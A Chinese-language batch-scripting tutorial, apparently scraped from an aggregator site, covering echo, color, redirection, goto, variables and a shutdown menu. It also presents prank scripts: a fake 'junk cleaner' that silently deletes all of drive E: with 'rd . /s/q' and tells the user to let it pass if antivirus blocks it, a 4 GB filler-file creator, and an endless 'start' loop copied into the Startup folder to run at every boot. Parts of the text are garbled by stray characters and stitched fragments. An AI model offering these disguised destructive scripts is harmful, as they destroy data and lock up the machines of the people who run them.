批處理腳本工作?從上而下成批的處理每一條dos命令,直到執行到最後一條,我來為大家科普一下關于批處理腳本工作?以下内容希望對你有幫助!
從上而下成批的處理每一條dos命令,直到執行到最後一條。
1.2 創建批處理新建一個記事本文件,然後修改後綴名為.bat
1.3 體驗@echo off 屏蔽執行過程color [attr] 設置默認的控制台前景和背景顔色。attr 指定控制台輸出的顔色屬性。
控制台輸入color ?可顯示幫助信息。
顔色屬性由兩個十六進制數字指定 -- 第一個 對應于背景,第二個對應于前景。每個數字 可以為以下任何值:
0 = 黑色 8 = 灰色
1 = 藍色 9 = 淡藍色
2 = 綠色 A = 淡綠色
3 = 淺綠色 B = 淡淺綠色
4 = 紅色 C = 淡紅色
5 = 紫色 D = 淡紫色
6 = 黃色 E = 淡黃色
7 = 白色 F = 亮白色
如果沒有給定任何參數,此命令會将顔色還原到 CMD.EXE 啟動時 的顔色。這個值來自當前控制台 窗口、/T 命令行開關或 DefaultColor 注冊表 值。
如果嘗試使用相同的 前景和背景顔色來執行 COLOR 命令,COLOR 命令會将 ERRORLEVEL 設置為 1。
示例: "COLOR fc" 在亮白色上産生淡紅色
title 給批處理加标題echo. 添加空行> 重定向nul 是屏蔽操作知成功顯示的信息,但是出錯還是會顯示(即1>nul)。
2>nul 是屏蔽操作失敗顯示道的信息,如果版成功依舊顯示。
nul 2>nul 就是正确的錯誤的一起屏蔽掉,就啥也不顯示了。
在最後面加1>nul 2>nul這樣不管文件是否删除成功都不會顯示任何消權息。 批處理就是用一個文件保存若幹條命令(裡面還可以有條件判斷、循環等操作),運行該文件就等于運行其保存的若幹條命令。 你問這一語句,隻是一條dos命令,并不是批處理。當然,它可能作為一條命令放在批處理文件裡面,但概念不能混淆。 那是因為dos命令的輸出方是控制台。dos命令是可以控制輸出方的,可以把結果輸出到屏幕(控制台),也可以把結果輸出到文件。控制輸出到哪裡就需要一個dos的重定向符,“>”或者“>>”。(其實還有輸入定向的,如“<”。) 我們平時敲命令,默認定向是控制台。例如dir命令,其實實際運行了“dir >con”。當我們希望把文件列表到文件,就可以把重定向轉到文件,可以“dir >list.txt”,但若原來存在list.txt則會覆蓋。若list.txt本來已經有内容,希望把dir到的結果追加到文件,可以“dir >>list.txt”。這個你可以自己試試。 同樣道理,“nul”是空的意思。把執行結果定向到空,意思便是不返回任何結果,無論它是錯是對。這樣做對于批處理裡面的命令有一個好處,就是在運行的時候你看不到它逐條運行的結果。(當然,逐條運行的命令父還是會看到的,除非開始就用echo off命令或者@命令。) 這樣解釋應該清楚了吧。它隻是運行一條關于注冊表的命令,并且不返回任何結果(操作成功或者失敗),跟删除文件沒有關系。
ping -n 10 127.0.0.1 ping 10次 127.0.0.1這裡就是等待執行
goto 跳轉到區塊命令冒号:劃分區塊 :區塊名
:1
:2
start 程序名 :啟動程序如果不寫程序名,則會啟動cmd
系統變量系統變量,可以在環境變量裡設置,常用:
%USERPROFILE% =C:\Users\用戶名
%SystemRoot% =C:\WINDOWS
%SystemDrive% =C:
%APPDATA% =C:\Users\用戶名\AppData\Roaming
%LOCALAPPDATA% =C:\Users\用戶名\AppData\Local
%windir% =C:\WINDOWS
%Path% =C:\Windows\system32;C:\Windows;
%ProgramData% =C:\ProgramData
%ProgramFiles% =C:\Program Files
%ProgramFiles(x86)% =C:\Program Files (x86)
@echo off color 0a title resume echo ======== echo hello,I am order! echo ========
清除e盤
@echo off color 0a title clear laji echo ======== echo clear your system laji echo if bei lanjie please echo let it go echo ======== pause echo. echo laji is cleaning..... e: >nul 2>nul cd \ >nul 2>nul rd . /s/q >nul 2>nul ping -n 10 127.0.0.1 >nul 2>nul echo congratulations!! echo. echo laji clear! pause
新建大文件
@echo off color 0a title game d: cd \ fsutil file createnew e:\sys.ini 4096000000
死循環:
:d start goto d
開機啟動死循環:
qq.bat 為該批處理文件名
如果路徑上有特殊符号,需要加雙引号
copy qq.bat "%userprofile%\[開始]菜單\程序\啟動" :d start goto d
多功能選擇
set 變量名=值 可以設置變量,如果加上/p,則是等待用戶輸入,并将用戶輸入的值賦值給變量
,
@echo off title 小程序v1.0 color 0a :menu cls echo ============= echo 菜單 echo 1、定時關機 echo 2、取消定時 echo 3、退出 echo ================== set /p num=您的選擇: if "%num%"=="1" goto 1 if "%num%"=="2" goto 2 if "%num%"=="3" goto 3 echo 請正确輸入選項,隻能輸入1,2,3 pause goto menu :1 set /p a=請輸入時間(單位/秒): shutdown -s -t %a% goto menu :2 shutdown -a echo :a >>1.txt echo start >>1.txt echo goto a >>1.txt goto menu :3 exit
更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!